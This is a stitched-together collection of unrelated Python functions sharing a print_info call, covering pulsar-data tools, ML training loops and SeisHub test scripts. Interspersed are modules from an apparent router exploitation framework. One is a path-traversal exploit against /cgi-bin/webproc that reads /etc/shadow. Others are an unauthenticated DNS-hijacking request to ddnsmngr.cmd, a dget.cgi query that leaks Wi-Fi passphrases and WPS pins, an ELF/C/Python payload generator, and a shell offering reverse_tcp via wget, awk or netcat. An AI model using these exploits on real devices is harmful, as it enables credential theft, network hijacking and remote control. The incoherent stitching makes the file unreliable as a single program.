def main(): if not args.comments: raise errors.BadInputError("A comment describing/motivating " \ "the replacement must be provided!") # Connect to the database db = database.Database() db.connect() trans = db.begin() # Open a DB transaction try: verify_replacement(args.obsolete_id, args.replacement, db) replace_id = load_rawfile.load_rawfile(args.replacement, db) replace_rawfile(args.obsolete_id, replace_id, \ args.comments, db) utils.print_info("Successfully marked rawfile (ID: %d) and " \ "being superseded by a new rawfile (ID: %d)" % \ (args.obsolete_id, replace_id), 1) except: db.rollback() raise else: db.commit() finally: # Close DB connection db.close()
def run(self, host, port, timeout): filename = input('Please input filename(default: /etc/shadow): ') if filename == '': filename = '/etc/shadow' url = "{}:{}/cgi-bin/webproc".format(host, port) data = { "getpage": "html/index.html", "*errorpage*": "../../../../../../../../../../..{}".format(filename), "var%3Amenu": "setup", "var%3Apage": "connected", "var%": "", "objaction": "auth", "%3Ausername": "******", "%3Apassword": "******", "%3Aaction": "login", "%3Asessionid": "abcdefgh" } # connection response, err = self.http_post(self.s, url, timeout, data) if err: self.print_requests_err(host, port, err) return if response.status_code == 200: utils.print_success("Exploit success") utils.print_info("File: {}".format(filename)) utils.print_info(response.text) else: utils.print_failed("Exploit failed")
def login(self, host, port, timeout): url = 'http://{}:{}/'.format(host, port) resp, err = self.http_get(self.s, url, timeout) if err: self.print_requests_err(host, port, err) return False utils.print_info('"Retrieving random login token..."') token = self.regx_grab(resp.text, r'Frm_Logintoken"\)\.value = "(.*)";', 1) if token: utils.print_info( "Trying to log in with credentials {} : {}".format(self.username, self.password)) url = 'http://{}:{}/'.format(host, port) data = {"Frm_Logintoken": token, "Username": self.username, "Password": self.password, "action": "login"} resp, err = self.http_post(self.s, url, timeout, data) if err: utils.print_warning('{}:{} request error, msg: {}'.format(host, port, type(err).__name__)) return False if "Username" not in resp.text and "Password" not in resp.text: utils.print_success("Successful authentication") return True else: return False else: utils.print_warning('Can not find the login token') return False
def flatpak() -> None: if os.path.exists("/usr/bin/flatpak"): print_info("Updating Flatpak apps") # Flatpak may return a non-zero exit code even when it's capable of installing the updates. run(["flatpak", "update"], check=False) else: print_info("flatpak not found")
def trim() -> None: if os.path.exists("/sbin/fstrim"): print_info("Running fstrim") run(["fstrim", "-a", "-v"], sudo=True) # run(["fstrim", "/", "-v"]) else: print_info("fstrim not found")
def _build_encoder(self): """Construct encoder network: placeholders, operations, optimizer""" self._input = tf.placeholder(tf.float32, self._batch_shape, name='input') self._encoding = tf.placeholder(tf.float32, (FLAGS.batch_size, self.layer_narrow), name='encoding') self._encode = (pt.wrap(self._input) .flatten() .fully_connected(self.layer_encoder, name='enc_hidden') .fully_connected(self.layer_narrow, name='narrow')) self._encode = pt.wrap(self._input) self._encode = self._encode.conv2d(5, 32, stride=2) print(self._encode.get_shape()) self._encode = self._encode.conv2d(5, 64, stride=2) print(self._encode.get_shape()) self._encode = self._encode.conv2d(5, 128, stride=2) print(self._encode.get_shape()) self._encode = (self._encode.dropout(0.9). flatten(). fully_connected(self.layer_narrow, activation_fn=None)) # variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=self.encoder_scope) self._encoder_loss = self._encode.l1_regression(pt.wrap(self._encoding)) ut.print_info('new learning rate: %.8f (%f)' % (FLAGS.learning_rate/FLAGS.batch_size, FLAGS.learning_rate)) self._opt_encoder = self._optimizer(learning_rate=FLAGS.learning_rate/FLAGS.batch_size) self._train_encoder = self._opt_encoder.minimize(self._encoder_loss)
def train(self, epochs_to_train=5): meta = self.get_meta() ut.print_time('train started: \n%s' % ut.to_file_name(meta)) ut.configure_folders(FLAGS, meta) self.fetch_datasets(self._activation) self.build_model() self._register_training_start() with tf.Session() as sess: sess.run(tf.initialize_all_variables()) self._saver = tf.train.Saver() if FLAGS.load_state and os.path.exists(self.get_checkpoint_path()): self._saver.restore(sess, self.get_checkpoint_path()) ut.print_info('Restored requested. Previous epoch: %d' % self.get_past_epochs(), color=31) # MAIN LOOP for current_epoch in xrange(epochs_to_train): start = time.time() feed = self._get_epoch_dataset() for _, batch in enumerate(feed): encoding, reconstruction, loss, _, _ = sess.run( [self._encode, self._decode, self._reco_loss, self._train, self._step], feed_dict={self._input: batch[0], self._reconstruction: batch[0]}) self._register_batch(loss) self._register_epoch(current_epoch, epochs_to_train, time.time()-start, sess) self._writer = tf.train.SummaryWriter(FLAGS.logdir, sess.graph) meta = self._register_training() return meta, self._stats['epoch_accuracy']
def pretrain(): utils.print_info("Start pretraining...") for epoch in range(args.pre_train_epoch): start_time, loss, n = time.time(), 0., 0 for x, _ in real_dataloader: x = x.to(device) pre_gen_optimizer.zero_grad() x_features = vgg_net(x) gen_x = gen_net(x) gen_x_features = vgg_net(gen_x) c_loss = con_loss(gen_x_features, x_features.detach()) c_loss.backward() pre_gen_optimizer.step() loss += c_loss.item() n += 1 print("Epoch: {:3d}, con_loss: {:3.3f}, time: {:3.3f} secs".format( epoch + 1, loss / n, time.time() - start_time)) generator_image(pretrain_outputs_path, 5) save_pth("gen") utils.print_info("Pretrain done.")
def list_whitelisted_jurisdictions(): jurisdictions = utils.get_jurisdictions() utils.print_info("Whitelisted jurisdictions") for jurisdiction in jurisdictions: if jurisdiction["whitelisted"]: print(jurisdiction['name_long']) return jurisdictions
def get_input_name(input_folder): spliter = '/img/' if '/img/' in input_folder else '/dep/' main_part = input_folder.split(spliter)[0] name = main_part.split('/')[-1] name = name.replace('.tar.gz', '') ut.print_info('input folder: %s -> %s' % (input_folder.split('/'), name)) return name
def show(self): utils.print_help('Target info:') i = 0 x = PrettyTable() x.field_names = ['index', 'host', 'port', 'brand', 'alternative', 'affective'] for target in self.__targets: # utils.print_info(' ' * 4 + utils.Color.GREEN + str(i) + ': ' + utils.Color.ENDC + # target.host + ':' + str(target.port) + # ', ' + utils.Color.GREEN + 'brand: ' + utils.Color.ENDC + ( # 'unknown' if not target.brand else target.brand) + # ', ' + utils.Color.GREEN + 'alternative exploit: ' + utils.Color.ENDC + ( # '[]' if not target.alternative_exploit else str(target.alternative_exploit)) + # ', ' + utils.Color.GREEN + 'affective exploit: ' + utils.Color.ENDC + # '[]' if not target.affective_exploit else str(target.affective_exploit)) x.add_row([i, target.host, target.port, target.brand, target.alternative_exploit, target.affective_exploit]) i += 1 utils.print_info(x) if self.get_current(): utils.print_help('Current: ', end='') utils.print_info(str(self.get_current().host)) utils.print_help('Threads: ', end='') utils.print_info(str(self.__threads)) utils.print_help('Timeout: ', end='') utils.print_info(str(self.__timeout)) utils.print_help('Output: ', end='') utils.print_info(None if not self.__output else self.__output)
def launch_seishub_server(debug=False): """ Launches the SeisHub instance, loops until the startup sequence is finished and returns the process object. :param debug: If debug is True, the output will not be catched. """ print_info("Starting SeisHub Server...") if debug is True: proc = subprocess.Popen(os.path.join(BIN_DIR, "debug.sh"), shell=True) else: proc = subprocess.Popen(os.path.join(BIN_DIR, "debug.sh"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) # Ping the server for up to ten seconds. This should assure it has started. t = time.time() while (time.time() - t) < 10.0: try: urllib2.urlopen(BASE_URL).read() break except Exception, e: if hasattr(e, "code"): break time.sleep(0.25)
def do_result(self, *args): x = PrettyTable() x.field_names = ['host', 'port', 'brand', 'module', 'extra', 'exploit'] for result in self.last_result: x.add_row(result) utils.print_info(x)
def _data(self): print_info('==> Preparing data..') transform_train = transforms.Compose([ transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)) ]) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)) ]) train_set = torchvision.datasets.CIFAR10(self.root_path, train=True, download=True, transform=transform_train) _train_loader = torch.utils.data.DataLoader(train_set, batch_size=self.batch_size, shuffle=True, num_workers=2) test_set = torchvision.datasets.CIFAR10(self.root_path, train=False, download=True, transform=transform_test) _test_loader = torch.utils.data.DataLoader(test_set, batch_size=100, shuffle=False, num_workers=2) return _train_loader, _test_loader
def train(self, epoch, change_lr=False): print() print_info('Epoch: %d' % epoch) if change_lr: self._change_lr(epoch) self.net.train() train_loss = 0 correct = 0 total = 0 for batch_idx, (inputs, targets) in enumerate(self.train_loader): inputs, targets = inputs.to(self.device), targets.to(self.device) self.optimizer.zero_grad() outputs = self.net(inputs) loss = self.criterion(outputs, targets) loss.backward() self.optimizer.step() train_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() pass print_info('Loss: %.3f | Acc: %.3f%% (%d/%d)' % (train_loss / len(self.train_loader), 100. * correct / total, correct, total)) pass
def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as e: print_error(e) return if self.output == "elf": with open(self.filepath, 'w+') as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file {}".format(self.filepath)) f.write(content) elif self.output == "c": print_success("Bulding payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python": print_success("Building payload for python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError( "No such option as {}".format(self.output) )
def clean_hot_bins(ar, thresh=2.0): subintdata = get_subints(ar, remove_prof=True) subintweights = get_subint_weights(ar).astype(bool) # re-disperse archive because subintdata is at DM=0 orig_dm = ar.get_dispersion_measure() ar.set_dispersion_measure(0) ar.dedisperse() # Clean hot bins for isub, subintweight in enumerate(subintweights): if subintweight: # Identify hot bins subint = subintdata[isub, :] hot_bins = get_hot_bins(subint, normstat_thresh=thresh)[0] utils.print_info( "Cleaning %d bins in subint# %d" % (len(hot_bins), isub), 2) if len(hot_bins): clean_subint(ar, isub, hot_bins) else: # Subint is masked. Nothing to do. pass # Re-dedisperse data using original DM ar.set_dispersion_measure(orig_dm) ar.dedisperse()
def run(self, host, port, timeout): # TODO NOT TESTING if self.primary_dns == '': p_dns = input('Please input the PRIMARY DNS: ') if utils.valid_host(p_dns): self.primary_dns = p_dns else: self.run(host, port, timeout) if self.second_dns == '': s_dns = input('Please input the SECOND DNS: ') if utils.valid_host(s_dns): self.second_dns = s_dns else: self.run(host, port, timeout) utils.print_info('Using PRIMARY DNS: {}, SECOND DNS: {}'.format( self.primary_dns, self.second_dns)) if self.input_to_continue(): url = "http://{}:{}/ddnsmngr.cmd?action=apply&service=0&enbl=0&" \ "dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" \ .format(host, port, self.primary_dns, self.second_dns) resp, err = self.http_post(self.s, url, timeout, None) if err: self.print_requests_err(host, port, err) return if resp.status_code == 200: utils.print_success("DNS settings has been changed") else: utils.print_failed("Could not change DNS settings") else: self.primary_dns = '' self.second_dns = ''
def table1_exp1(folds_dir): utils.print_success("Experiment 1 in Table 1") fn_gts = "groundtruths/database1.csv" gts = utils.read_groundtruths(fn_gts) res_files = [ name for name in os.listdir(folds_dir) if os.path.isfile(os.path.join(folds_dir, name)) and "results" in name ] acc = [] f1 = [] for res in res_files: predictions = [] groundtruths = [] preds = read_preds(folds_dir + res) for name in preds: name_gts = name.split(".")[0] if name_gts in gts: groundtruths.append(gts[name_gts]) predictions.append(preds[name]) acc.append(accuracy_score(groundtruths, predictions)) predictions = [1 if i == "s" else 0 for i in predictions] groundtruths = [1 if i == "s" else 0 for i in groundtruths] f1.append(f1_score(groundtruths, predictions, average='binary')) # Print average ± standard deviation utils.print_info("Accuracy " + str(sum(acc) / float(len(acc))) + " ± " + str(stdev(acc))) utils.print_info("F-Measure " + str(sum(f1) / float(len(f1))) + " ± " + str(stdev(f1))) dir_res = utils.create_dir("stats/") with open(dir_res + "table1_accuracy.csv", "a") as filep: for val in acc: filep.write("SVMBFF," + str(val) + "\n") with open(dir_res + "table1_f1.csv", "a") as filep: for val in f1: filep.write("SVMBFF," + str(val) + "\n")
def lp_svrg_baseline(d, model): w_tilde = None g_tilde = None for epoch in range(0, d.num_epochs): if epoch % d.T == 0: w_tilde = np.copy(model.lin_layer.weight.data()) cost = model.forward(d.x_train, d.y_train) model.backward() g_tilde = np.copy(model.lin_layer.weight.offset_grad) cost = 0 for batch_index in range(0, d.num_batches): x, y = d.get_data(batch_index) w_offset = np.copy(model.lin_layer.weight.offset) np.copyto(model.lin_layer.weight.offset, w_tilde) model.forward_lp(x, y) model.backward_lp() w_tilde_grad = np.copy(model.lin_layer.weight.offset_grad) np.copyto(model.lin_layer.weight.offset, w_offset) cost += model.forward_lp(x, y) model.backward_lp() model.step_svrg_lp(w_tilde_grad, g_tilde) predY = model.predict(d.x_test) utils.print_info(epoch, cost / d.num_batches, 100 * np.mean(predY == d.y_test))
def run(self, host, port, timeout): if self.check(host, port, timeout): t = prettytable.PrettyTable() t.field_names = ['Username', 'Password'] for c in self.info: t.add_row([c[0], c[1]]) utils.print_info(t)
def check(self, host, port, timeout): utils.print_info('Use username: {}, password: {}'.format(self.username, self.password)) if self.input_to_continue(): if self.login(host, port, timeout): url = self.check_url.format(host, port) resp, err = self.http_get(self.s, url, timeout) if err: self.print_requests_err(host, port, err) self.print_check_result(False, host) else: textarea_1_match = re.compile(r'textarea cols="" rows="" class="textarea_1"', re.S).search(resp.text) if textarea_1_match: self.print_check_result(True, host) return True else: utils.print_warning('Device is busy, please wait') return False else: utils.print_failed('Login failed') self.print_check_result(False, host) return False else: self.set_credits() return self.check(host, port, timeout) return False
def start(self): """ Start processing the log file. """ print_info(f"Start monitoring {self.log_file}") with open(self.log_file) as log_file: reader = DictReader(log_file) # Keep track of the number of requests in the log window. request_counts = [] while True: try: timestamp, average_bytes, most_hit_section, count = self.read_logs(reader, self.log_interval) print_info(f"{timestamp}\t{average_bytes:.2f}\t{most_hit_section}") request_counts.append(count) # Only keep enough counts to cover the time in the log window. request_counts = request_counts[-(self.log_window // self.log_interval):] requests_per_second = sum(request_counts) / self.log_window # Check if the requests per second has exceeded or recovered from the traffic threshold. if requests_per_second >= self.threshold and self.high_traffic is False: print_error(f"High traffic generated an alert - hits = {requests_per_second:.2f} requests per " f"second, triggered at {timestamp}") self.high_traffic = True elif requests_per_second < self.threshold and self.high_traffic is True: print_success(f"Traffic has stabilized - hits = {requests_per_second:.2f} requests per second, " f"recovered at {timestamp}") self.high_traffic = False # Simulate time passing. DO NOT USE for real access logs. time.sleep(self.log_interval) except StopIteration: print_warning("End of file has been reached.") break
def list_blacklisted_jurisdictions(): utils.print_info("Blacklisted jurisdictions") jurisdictions = utils.get_jurisdictions() for jurisdiction in jurisdictions: if not jurisdiction["whitelisted"]: print(jurisdiction['name_long']) return jurisdictions
def run(self, host, port, timeout): # TODO NOT TESTING if self.info is None: url = "http://{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase," \ "wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list," \ "get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode," \ "get_wps_enable,get_wps_current_time&_=1458458152703" \ .format(host, port) resp, err = self.http_get(self.s, url, timeout) if err is None: if resp.status_code == 200: try: self.info = json.loads(resp.text) except ValueError: pass if self.info and len(self.info): utils.print_success('Exploit success') t = prettytable.PrettyTable() t.add_column('Key', list(self.info.keys())) t.add_column('Value', list(self.info.values())) utils.print_info(t) utils.logger.send((host, port, t)) utils.print_failed('Exploit failed')
def is_funny(n): if n in FUNNY: return True elif n == 0 or n in UNFUNNY: return False funni = 0 # If the number is a multiple of any funny number, add 1 funni point per funny number that it is divisible by. funni += len(get_divisors(n, FUNNY)) # If the number is a multiple of any unfunny number, subtract 1 funni point per unfunny number that it is divisible by. funni -= len(get_divisors(n, UNFUNNY)) # If the number is even subtract one funni point, otherwise add 1 funni point. if n % 2 == 0: funni -= 1 else: funni += 1 # If the number is prime, add 2 funni points. if is_prime(n): funni += 2 # If the number is a perfect square, subtract 2 funni points. root = sqrt(n) if root == int(root): funni -= 2 # If the number is the square of a prime, subtract another 2 funni points. if is_prime(root): funni -= 2 print_info(funni) return funni > 0
def post(self): current_path = os.path.dirname(os.path.realpath(__file__)) # global options data = Configurations.parser.parse_args() options = data['options'] utils.just_write(current_path + '/storages/options.json', options, is_json=True) if options.get('FORCE') == "False": old_log = options['WORKSPACE'] + '/log.json' if utils.not_empty_file(old_log) and utils.reading_json(old_log): utils.print_info( "It's already done. use '-f' options to force rerun the module") raw_activities = utils.reading_json( options['WORKSPACE'] + '/log.json') utils.just_write(current_path + '/storages/activities.json', raw_activities, is_json=True) return options utils.print_info("Cleasning activities log") #Create skeleton activities commands = utils.reading_json(current_path + '/storages/commands.json') raw_activities = {} for k,v in commands.items(): raw_activities[k] = [] utils.just_write(current_path + '/storages/activities.json', raw_activities, is_json=True) return options
def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as e: print_error(e) return if self.output == "elf": with open(self.filepath, 'w+') as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file {}".format(self.filepath)) f.write(content) elif self.output == "c": print_success("Bulding payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python": print_success("Building payload for python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError("No such option as {}".format( self.output))
def print_data(data, fig, subplot, is_3d=True): colors = np.arange(0, 180) colors = np.concatenate((colors, colors[::-1])) colors = vi._duplicate_array(colors, total_length=len(data)) if is_3d: subplot = fig.add_subplot(subplot, projection='3d') subplot.set_title('All data') subplot.scatter(data[:, 0], data[:, 1], data[:, 2], c=colors, cmap=plt.cm.Spectral, picker=5) else: subsample = data[0:360] if len(data) < 2000 else data[0:720] subsample = np.concatenate( (subsample, subsample))[0:len(subsample) + 1] ut.print_info('subsample shape %s' % str(subsample.shape)) subsample_colors = colors[0:len(subsample)] subplot = fig.add_subplot(subplot) subplot.set_title('First 360 elem') subplot.plot(subsample[:, 0], subsample[:, 1], picker=0) subplot.plot(subsample[0, 0], subsample[0, 1], picker=0) subplot.scatter(subsample[:, 0], subsample[:, 1], s=50, c=subsample_colors, cmap=plt.cm.Spectral, picker=5) return subplot
def do_check(self, arg): utils.print_info('checking if module loaded') if not self.check_module_loaded(): utils.print_failed( 'checking module failed\n' 'Please make sure you have already choose one module') return utils.print_info('checking targets info') if not self.check_target_arg(): utils.print_failed('checking targets info failed\n' 'Please make sure you input info target info') return else: utils.print_success('passing checking...') target = self.task.get_current() if self.module.check(target.host, target.port, self.task.get_timeout()): module_name = inspect.getmodule(self.module).__name__[16:] exploits = target.affective_exploit if not exploits: a_exploit = [module_name] else: if module_name not in exploits: a_exploit = exploits.append(module_name) else: a_exploit = exploits self.task.set_current( ExploitTarget(host=target.host, port=target.port, brand=target.brand, alternative_exploit=target.alternative_exploit, affective_exploit=a_exploit))
def experiment_2(): utils.print_success("Experiment 2") groundtruths_file = "groundtruths/database2.csv" dir_pred = "predictions/" predictions_files = os.listdir(dir_pred) gts = read_item_tag(groundtruths_file) for pred_file in predictions_files: algo_name = pred_file.split("/")[-1][:-4] utils.print_info(algo_name) if "Ghosal" in algo_name: # Change threshold as RANSAC does not produces pred in [0;1] threshold = 0. else: threshold = 0.5 test_groundtruths = [] predictions = [] with open(dir_pred + pred_file, "r") as filep: for line in filep: row = line[:-1].split(",") isrc = row[0] if isrc in gts: test_groundtruths.append(gts[isrc]) predictions.append("s" if float(row[1]) > threshold else "i") results_experiment_2(algo_name, predictions, test_groundtruths) algo_name = "Random" utils.print_info(algo_name) test_groundtruths = ["s", ] * test_groundtruths.count("s") + ["i", ] * test_groundtruths.count("i") predictions = ["s", "i", ] * int(len(test_groundtruths)/2) if len(test_groundtruths) % 2: predictions += ["s"] results_experiment_2(algo_name, predictions, test_groundtruths)
def _build_encoder(self): """Construct encoder network: placeholders, operations, optimizer""" self._input = tf.placeholder(tf.float32, self._batch_shape, name='input') self._encoding = tf.placeholder(tf.float32, (FLAGS.batch_size, self.layer_narrow), name='encoding') self._encode = (pt.wrap(self._input).flatten().fully_connected( self.layer_encoder, name='enc_hidden').fully_connected(self.layer_narrow, name='narrow')) self._encode = pt.wrap(self._input) self._encode = self._encode.conv2d(5, 32, stride=2) print(self._encode.get_shape()) self._encode = self._encode.conv2d(5, 64, stride=2) print(self._encode.get_shape()) self._encode = self._encode.conv2d(5, 128, stride=2) print(self._encode.get_shape()) self._encode = (self._encode.dropout(0.9).flatten().fully_connected( self.layer_narrow, activation_fn=None)) # variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=self.encoder_scope) self._encoder_loss = self._encode.l1_regression(pt.wrap( self._encoding)) ut.print_info( 'new learning rate: %.8f (%f)' % (FLAGS.learning_rate / FLAGS.batch_size, FLAGS.learning_rate)) self._opt_encoder = self._optimizer(learning_rate=FLAGS.learning_rate / FLAGS.batch_size) self._train_encoder = self._opt_encoder.minimize(self._encoder_loss)
def shell(exploit, architecture="", method="", **params): while 1: cmd = input("cmd > ") if cmd in ["quit", "exit"]: return c = cmd.split() if len(c) and c[0] == "reverse_tcp": if len(c) == 3: lhost = c[1] lport = c[2] revshell = ReverseShell(exploit, architecture, lhost, lport) if method == "wget": revshell.wget(binary=params['binary'], location=params['location']) elif method == "echo": revshell.echo(binary=params['binary'], location=params['location']) elif method == "awk": revshell.awk(binary=params['binary']) elif method == "netcat": revshell.netcat(binary=params['binary'], shell=params['shell']) else: print_failed("Reverse shell is not available") else: print_failed("reverse_tcp <reverse ip> <port>") else: print_info(exploit.execute(cmd))
def main(): # Collect input files infiles = set(args.infiles) for glob_expr in args.glob_exprs: infiles.update(glob.glob(glob_expr)) infiles = list(infiles) if not infiles: sys.stderr.write("You didn't provide any files to load. " \ "You should consider including some next time...\n") sys.exit(1) # Enter information in rawfiles table # create diagnostic plots and metrics. # Also fill-in raw_diagnostics and raw_diagnostic_plots tables for fn in infiles: try: if config.cfg.verbosity: print "Checking %s (%s)" % (fn, utils.give_utc_now()) # Check the file and parse the header params = utils.prep_file(fn) # Find where the file will be moved to. destdir = utils.get_archive_dir(fn, params=params) utils.print_info("%s will get archived to %s (%s)" % \ (fn, destdir, utils.give_utc_now()), 1) utils.print_info("Finished with %s - pre-check successful (%s)" % \ (fn, utils.give_utc_now()), 1) except errors.ToasterError, msg: sys.stderr.write("Pre-check of %s failed!\n%s\nSkipping...\n" % \ (fn, msg))
def get_next_batch(batch_size): """批量处理训练 通过测试发现,多进程和多线程的情况下,速度并没有更快 :param batch_size: 验证码数量 :type batch_size int :return batch_x :rtype batch_x numpy.ndarray :return batch_y :rtype batch_y numpy.ndarray """ batch_x = np.zeros([batch_size, IMAGE_HEIGHT * IMAGE_WIDTH]) batch_y = np.zeros([batch_size, MAX_CAPTCHA * CHAR_SET_LEN]) for i in range(batch_size): text, file_path, image = wrap_gen_captcha_text_and_image() # 删除文件 os.remove(file_path) if i % 10 == 0: print_info("\ngenerate captcha: {}".format(text), newline=False) else: print_info(text, newline=False) image = convert2gray(image) batch_x[ i, :] = image.flatten() / 255 # (image.flatten()-128)/128 mean为0 batch_y[i, :] = text2vec(text) return batch_x, batch_y
def svrg_bitcentering(d, model): g_tilde = None cost = 0 for epoch in range(0, d.num_epochs): if epoch % d.T == 0: model.recenter() cost = model.forward(d.x_train, d.y_train) model.backward() g_tilde = np.copy(model.lin_layer.weight.offset_grad) # Cache the results. for batch_index in range(0, d.num_batches): x, y = d.get_data(batch_index) model.forward_store(x, y, batch_index) model.backward_store(batch_index) cost = 0 for batch_index in range(0, d.num_batches): x, y = d.get_data(batch_index) cost += model.forward_inner(x, y, batch_index) model.backward_inner(batch_index) model.step_svrg_inner(g_tilde, batch_index) predY = model.predict_inner(d.x_test) utils.print_info(epoch, cost / d.num_batches, 100 * np.mean(predY == d.y_test))
def init_seishub_instance(debug=False): """ Creates a new SeisHub instance at TEST_DIRECTORY. :param debug: If debug is True, the output will not be catched. """ print_info("Creating new SeisHub instance in %s..." % TEST_DIRECTORY) if os.path.exists(TEST_DIRECTORY): msg = "SeisHub temp directory already exists." print_error(msg) sys.exit(1) cmd = ["seishub-admin", "initenv", TEST_DIRECTORY] try: if debug is True: subprocess.call(cmd) else: subprocess.check_output(cmd, stderr=subprocess.STDOUT) except subprocess.CalledProcessError, e: print_error("Error creating seishub instance. Exited with return " "code %s. Full output follows:" % (str(e.returncode))) print "" print e.output print "" sys.exit(1)
def set_layer_sizes(self, h): if isinstance(h, str): ut.print_info('new layer sizes: %s' % h) h = h.replace('/', '|') h = list(map(int, h.split('|'))) self.layers = h self.layer_narrow = np.argmin(h) print(self.layers, self.layer_narrow)
def visualize_latest_from_visualization_folder(folder='./visualizations/', file=None): if file is None: file = ut.get_latest_file(folder, filter=r'.*\d+\.txt$') ut.print_info('Encoding file: %s' % file.split('/')[-1]) data = np.loadtxt(file) # [0:360] fig = plt.figure() vi.visualize_encodings(data, fast=fast, fig=fig, interactive=True) fig.suptitle(file.split('/')[-1]) fig.tight_layout() plt.show()
def search_learning_rate(lrs=[100, 5, 0.5, 0.1, 0.01, 0.001], epochs=None): best_q, best_r = None, None res = [] for lr in lrs: q = main(learning_rate=lr) if epochs is None else main(learning_rate=lr, epochs=epochs) res.append('\n\r lr:%.4f \tq:%.2f' % (lr, q)) if best_q is None or best_q > q: best_q = q best_r = lr print(''.join(res)) ut.print_info('BEST Q: %d IS ACHIEVED FOR LR: %f' %(best_q, best_r), 36)
def rescale_ds(ds, min, max): ut.print_info('rescale call: (min: %s, max: %s) %d' % (str(min), str(max), len(ds))) if max is None: return np.asarray(ds) - np.min(ds) ds_min, ds_max = np.min(ds), np.max(ds) ds_gap = ds_max - ds_min scale_factor = (max - min) / ds_gap ds = np.asarray(ds) * scale_factor shift_factor = min - np.min(ds) ds += shift_factor return ds
def _compute(self): utils.print_info("Creating profile plot for %s" % self.fn, 3) params = utils.prep_file(self.fn) handle, tmpfn = tempfile.mkstemp(suffix=".png") os.close(handle) cmd = ["psrplot", "-p", "flux", "-j", "TDFp", "-c", \ "above:c=%s" % os.path.split(self.fn)[-1], \ "-D", "%s/PNG" % tmpfn, self.fn] utils.execute(cmd) tmpdir = os.path.split(tmpfn)[0] pngfn = os.path.join(tmpdir, self.fn+".flux.png") shutil.move(tmpfn, pngfn) return pngfn
def visualize_from_checkpoint(checkpoint, epoch=None): assert os.path.exists(checkpoint) FLAGS.load_from_checkpoint = checkpoint file_filter = r'.*\d+\.txt$' if epoch is None else r'.*e\|%d.*' % epoch latest_file = ut.get_latest_file(folder=checkpoint, filter=file_filter) print(latest_file) ut.print_info('Encoding file: %s' % latest_file.split('/')[-1]) data = np.loadtxt(latest_file) fig = plt.figure() fig.set_size_inches(fig.get_size_inches()[0] * 2, fig.get_size_inches()[1] * 2) entity = EncodingVisualizer(fig, data) # fig.tight_layout() plt.show()
def _build_encoder(self): """Construct encoder network: placeholders, operations, optimizer""" self._input = tf.placeholder(tf.float32, self._batch_shape, name='input') self._encode = (pt.wrap(self._input) .flatten()) for i in range(self.layer_narrow + 1): size, desc = self.layers[i], 'enc_hidden_%d' % i self._encode = self._encode.fully_connected(size, name=desc) if i == self.layer_narrow-1 or i == self.layer_narrow-2: ut.print_info('Dropout. layer:%d, layer_size:%d, DO_value:%f' % (i, self.layers[i], 1.0-FLAGS.dropout)) self._encode = self._encode.dropout(1.0-FLAGS.dropout)
def stop_seishub_server(proc): """ Terminates the passed process object. """ proc.terminate() proc.kill() proc.wait() # Wait for a short time and then just kill it. Quite brute force, but the # only reliable way I could find. time.sleep(0.2) os.system('pkill -f "python -m seishub.core.daemon"') print_info("SeisHub Server terminated.")
def main(args): matches = find_overlaps(args.rawfile) utils.print_info("Number of overlapping files in DB: %d" % \ len(matches), 1) lines = ["Overlapping files:"] if matches: for match in matches: fn = os.path.join(match['filepath'], match['filename']) lines.append(" %s" % fn) else: lines.append(" None") msg = "\n".join(lines) utils.print_info(msg, 2) sys.exit(len(matches))
def main(args): if args.timfile_id is None: raise errors.BadInputError("A timfile_id must be provided!") # Connect to the database db = database.Database() db.connect() try: utils.print_info("Timfile ID to set as master: %d" % args.timfile_id, 1) if not args.dry_run: set_as_master_timfile(args.timfile_id, db) finally: # Close DB connection db.close()
def fetch_datasets(self, activation_func_bounds): original_data, filters = inp.get_images(FLAGS.input_path) assert len(filters) == len(original_data) original_data, filters = self.bloody_hack_filterbatches(original_data, filters) ut.print_info('shapes. data, filters: %s' % str((original_data.shape, filters.shape))) original_data = inp.rescale_ds(original_data, activation_func_bounds.min, activation_func_bounds.max) self._image_shape = inp.get_image_shape(FLAGS.input_path) if DEV: original_data = original_data[:300] self.epoch_size = math.ceil(len(original_data) / FLAGS.batch_size) self.test_size = math.ceil(len(original_data) / FLAGS.batch_size) return original_data, filters
def manual_pca(data): """remove meaningless dimensions""" std = data[0:300].std(axis=0) order = np.argsort(std)[::-1] # order = np.arange(0, data.shape[1]).astype(np.int32) std = std[order] # filter components by STD but take at least 3 meaningless = [order[i] for i, x in enumerate(std) if x <= STD_THRESHOLD] if any(meaningless) and data.shape[1] > 3: ut.print_info('meaningless dimensions on visualization: %s' % str(meaningless)) order = [order[i] for i, x in enumerate(std) if x > STD_THRESHOLD or i < 3] order.sort() return data[:, order]
def cleanup(): """ Simply removes the temporarily created SeisHub instance. """ print_info("Cleaning up...") # Try deleting it for some seconds... t = time.time() while (time.time() - t) < 10.0: time.sleep(0.1) try: if os.path.exists(TEST_DIRECTORY): shutil.rmtree(TEST_DIRECTORY) return except: pass print_error("Cleanup failed.")
def main(): # Connect to the database db = database.Database() db.connect() try: if args.parfile is not None: # parfile filename provided. Get parfile_id parfile_id = utils.get_parfile_id(args.parfile, db) else: parfile_id = args.parfile_id utils.print_info("Parfile ID to set as master: %d" % parfile_id, 1) if not args.dry_run: utils.set_as_master_parfile(parfile_id, db) finally: # Close DB connection db.close()
